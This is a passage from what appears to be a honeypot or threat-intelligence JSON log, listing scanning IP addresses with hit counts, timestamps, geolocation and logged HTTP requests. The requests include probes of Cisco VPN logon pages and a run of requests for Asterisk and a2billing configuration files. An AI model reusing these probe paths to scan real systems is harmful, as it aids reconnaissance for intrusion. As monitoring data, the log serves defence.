        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 16509,
      "as_org": "Amazon.com, Inc."
    },
    "198.235.24.201": {
      "attack_count": 2,
      "first_seen": "2026-05-23T08:12:52.909Z",
      "last_seen": "2026-05-23T08:12:55.912Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "45.156.129.133": {
      "attack_count": 2,
      "first_seen": "2026-05-30T10:48:01.671Z",
      "last_seen": "2026-05-30T10:48:04.674Z",
      "ports": [],
      "event_types": [
        "\"GET /showLogin.cc HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A."
    },
    "65.49.1.184": {
      "attack_count": 2,
      "first_seen": "2026-05-02T08:01:49.380Z",
      "last_seen": "2026-05-02T08:01:52.383Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.186": {
      "attack_count": 2,
      "first_seen": "2026-05-02T08:03:17.148Z",
      "last_seen": "2026-05-02T08:03:28.578Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "147.185.132.49": {
      "attack_count": 1,
      "first_seen": "2026-05-03T08:40:34.678Z",
      "last_seen": "2026-05-03T08:40:34.678Z",
      "ports": [],
      "event_types": [
        "\"GET /.well-known/security.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "153.76.18.251": {
      "attack_count": 1,
      "first_seen": "2026-05-30T15:37:20.329Z",
      "last_seen": "2026-05-30T15:37:20.329Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 3257,
      "as_org": "GTT Communications Inc."
    },
    "176.65.139.23": {
      "attack_count": 1,
      "first_seen": "2026-05-29T01:28:40.061Z",
      "last_seen": "2026-05-29T01:28:40.061Z",
      "ports": [],
      "event_types": [
        "\"GET /admin/user/creation HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC"
    },
    "185.247.137.159": {
      "attack_count": 1,
      "first_seen": "2026-05-07T08:14:15.549Z",
      "last_seen": "2026-05-07T08:14:15.549Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Manchester",
      "asn": 211298,
      "as_org": "Driftnet Ltd"
    },
    "195.184.76.160": {
      "attack_count": 1,
      "first_seen": "2026-05-10T11:46:10.830Z",
      "last_seen": "2026-05-10T11:46:10.830Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "3.90.250.34": {
      "attack_count": 1,
      "first_seen": "2026-05-24T00:55:50.063Z",
      "last_seen": "2026-05-24T00:55:50.063Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "64.62.156.141": {
      "attack_count": 1,
      "first_seen": "2026-05-19T05:17:38.262Z",
      "last_seen": "2026-05-19T05:17:38.262Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.156.61": {
      "attack_count": 1,
      "first_seen": "2026-05-04T07:53:27.835Z",
      "last_seen": "2026-05-04T07:53:27.835Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.193": {
      "attack_count": 1,
      "first_seen": "2026-05-25T10:20:59.896Z",
      "last_seen": "2026-05-25T10:20:59.896Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.44": {
      "attack_count": 1,
      "first_seen": "2026-05-05T10:50:05.768Z",
      "last_seen": "2026-05-05T10:50:05.768Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "91.230.168.97": {
      "attack_count": 1,
      "first_seen": "2026-05-26T18:30:12.026Z",
      "last_seen": "2026-05-26T18:30:12.026Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.231.89.150": {
      "attack_count": 1,
      "first_seen": "2026-05-14T02:40:05.555Z",
      "last_seen": "2026-05-14T02:40:05.555Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "5.181.3.149": {
      "attack_count": 64,
      "first_seen": "2026-05-31T00:46:40.238Z",
      "last_seen": "2026-05-31T05:05:37.380Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp"
    },
    "104.225.129.127": {
      "attack_count": 56,
      "first_seen": "2026-05-06T01:33:39.109Z",
      "last_seen": "2026-05-06T04:47:04.227Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Jacksonville",
      "asn": 395092,
      "as_org": "Shock Hosting LLC"
    },
    "68.235.46.6": {
      "attack_count": 55,
      "first_seen": "2026-05-04T19:42:09.835Z",
      "last_seen": "2026-05-30T00:35:12.638Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "146.70.168.101": {
      "attack_count": 39,
      "first_seen": "2026-05-04T16:14:01.449Z",
      "last_seen": "2026-05-30T14:13:53.315Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "146.70.211.30": {
      "attack_count": 33,
      "first_seen": "2026-05-04T16:52:24.309Z",
      "last_seen": "2026-05-29T10:55:59.304Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "193.189.100.201": {
      "attack_count": 32,
      "first_seen": "2026-05-24T01:27:28.613Z",
      "last_seen": "2026-05-24T01:29:14.903Z",
      "ports": [],
      "event_types": [
        "\"GET /.1767de7680e3992aa99b451b57af68c6.php?X HTTP/1.1\" 404 -",
        "\"GET /_asterisk/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /a2billing/common/images/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /a2billing/common/javascript/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /a2billing/common/lib/jpgraph_lib/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /a2billing/common/lib/pqp/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /a2billing/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /aastra/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /admin/.1767de7680e3992aa99b451b57af68c6.php?X HTTP/1.1\" 404 -",
        "\"GET /admin/assets/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /admin/cdr/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /admin/common/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /admin/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /admin/helpers/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /admin/i18n/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /admin/images/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /admin/libraries/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /admin/modules/_cache/config.php? HTTP/1.1\" 404 -",
        "\"GET /admin/modules/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /admin/modules/cxpanel/config.all.php?x HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 41281,
      "as_org": "KeFF Networks Ltd"
    },
    "138.199.43.67": {
      "attack_count": 30,
      "first_seen": "2026-05-07T01:53:54.710Z",
      "last_seen": "2026-05-31T01:59:58.226Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "142.252.244.83": {
      "attack_count": 28,
      "first_seen": "2026-05-26T01:07:31.699Z",
      "last_seen": "2026-05-29T21:00:25.290Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Diego",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "166.1.251.5": {
      "attack_count": 28,
      "first_seen": "2026-05-26T00:10:33.178Z",
      "last_seen": "2026-05-29T09:37:01.907Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.234.104.86": {
      "attack_count": 24,
      "first_seen": "2026-05-07T06:16:47.350Z",
      "last_seen": "2026-05-27T04:36:42.441Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.107.203": {
      "attack_count": 24,
      "first_seen": "2026-05-03T07:12:57.636Z",
      "last_seen": "2026-05-30T15:34:10.489Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.77.199": {
      "attack_count": 24,
      "first_seen": "2026-05-03T19:25:56.424Z",
      "last_seen": "2026-05-26T19:27:24.300Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.82.79": {
      "attack_count": 24,
      "first_seen": "2026-05-05T20:00:33.653Z",
      "last_seen": "2026-05-29T11:37:52.113Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "68.235.46.201": {
      "attack_count": 24,
      "first_seen": "2026-05-04T13:02:58.765Z",
      "last_seen": "2026-05-31T00:58:26.505Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "103.81.230.24": {
      "attack_count": 21,
      "first_seen": "2026-05-05T03:10:43.111Z",
      "last_seen": "2026-05-27T19:15:48.827Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "185.141.119.178": {
      "attack_count": 21,
      "first_seen": "2026-05-08T01:27:11.839Z",
      "last_seen": "2026-05-26T02:37:12.369Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Detroit",
      "asn": 207990,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "186.243.149.50": {
      "attack_count": 21,
      "first_seen": "2026-05-27T06:36:42.223Z",
      "last_seen": "2026-05-30T04:07:14.838Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Bloomingdale",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.234.106.203": {
      "attack_count": 21,
      "first_seen": "2026-05-08T17:57:47.413Z",
      "last_seen": "2026-05-30T11:59:28.112Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.116.73": {
      "attack_count": 21,
      "first_seen": "2026-05-04T10:22:09.255Z",
      "last_seen": "2026-05-30T05:33:50.300Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.89.68": {
      "attack_count": 21,
      "first_seen": "2026-05-03T19:01:41.748Z",
      "last_seen": "2026-05-29T22:13:41.515Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.95.150": {
      "attack_count": 21,
      "first_seen": "2026-05-08T04:39:40.131Z",
      "last_seen": "2026-05-27T03:29:38.997Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "146.70.187.37": {
      "attack_count": 18,
      "first_seen": "2026-05-07T12:16:09.458Z",
      "last_seen": "2026-05-24T01:03:22.455Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "146.70.211.165": {
      "attack_count": 18,
      "first_seen": "2026-05-07T13:21:59.930Z",
      "last_seen": "2026-05-20T21:37:07.416Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "23.234.100.150": {
      "attack_count": 18,
      "first_seen": "2026-05-05T22:01:46.205Z",
      "last_seen": "2026-05-30T10:00:16.785Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.117.68": {
      "attack_count": 18,
      "first_seen": "2026-05-02T07:29:28.312Z",
      "last_seen": "2026-05-19T01:09:25.012Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.74.76": {
      "attack_count": 18,
      "first_seen": "2026-05-05T22:10:35.514Z",
      "last_seen": "2026-05-26T13:19:21.783Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.68.79": {
      "attack_count": 16,
      "first_seen": "2026-05-05T09:17:43.238Z",
      "last_seen": "2026-05-11T09:12:13.065Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "146.70.187.101": {
      "attack_count": 15,
      "first_seen": "2026-05-02T06:55:43.525Z",
      "last_seen": "2026-05-27T20:34:38.632Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "173.249.253.39": {
      "attack_count": 15,
      "first_seen": "2026-05-20T02:44:42.682Z",
      "last_seen": "2026-05-29T04:45:26.828Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.159.216.200": {
      "attack_count": 15,
      "first_seen": "2026-05-03T09:17:06.748Z",
      "last_seen": "2026-05-10T11:29:38.599Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 17243,
      "as_org": "Byte Node LLC"
    },
    "23.234.80.148": {
      "attack_count": 15,
      "first_seen": "2026-05-19T01:38:04.746Z",
      "last_seen": "2026-05-25T19:37:06.179Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.200.137": {
      "attack_count": 15,
      "first_seen": "2026-05-05T21:41:20.419Z",
      "last_seen": "2026-05-26T06:57:26.333Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "104.252.153.167": {
      "attack_count": 14,
      "first_seen": "2026-05-29T11:55:17.336Z",
      "last_seen": "2026-05-31T02:27:56.918Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "135.106.26.46": {
      "attack_count": 14,
      "first_seen": "2026-05-27T05:39:06.521Z",
      "last_seen": "2026-05-29T20:38:59.345Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ennis",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "138.249.139.153": {
      "attack_count": 14,
      "first_seen": "2026-05-26T00:16:58.575Z",
      "last_seen": "2026-05-26T02:29:52.095Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "141.133.52.143": {
      "attack_count": 14,
      "first_seen": "2026-05-27T07:20:45.465Z",
      "last_seen": "2026-05-30T01:39:50.286Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Yorkville",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "153.80.158.161": {
      "attack_count": 14,
      "first_seen": "2026-05-27T07:27:47.127Z",
      "last_seen": "2026-05-27T09:14:05.795Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
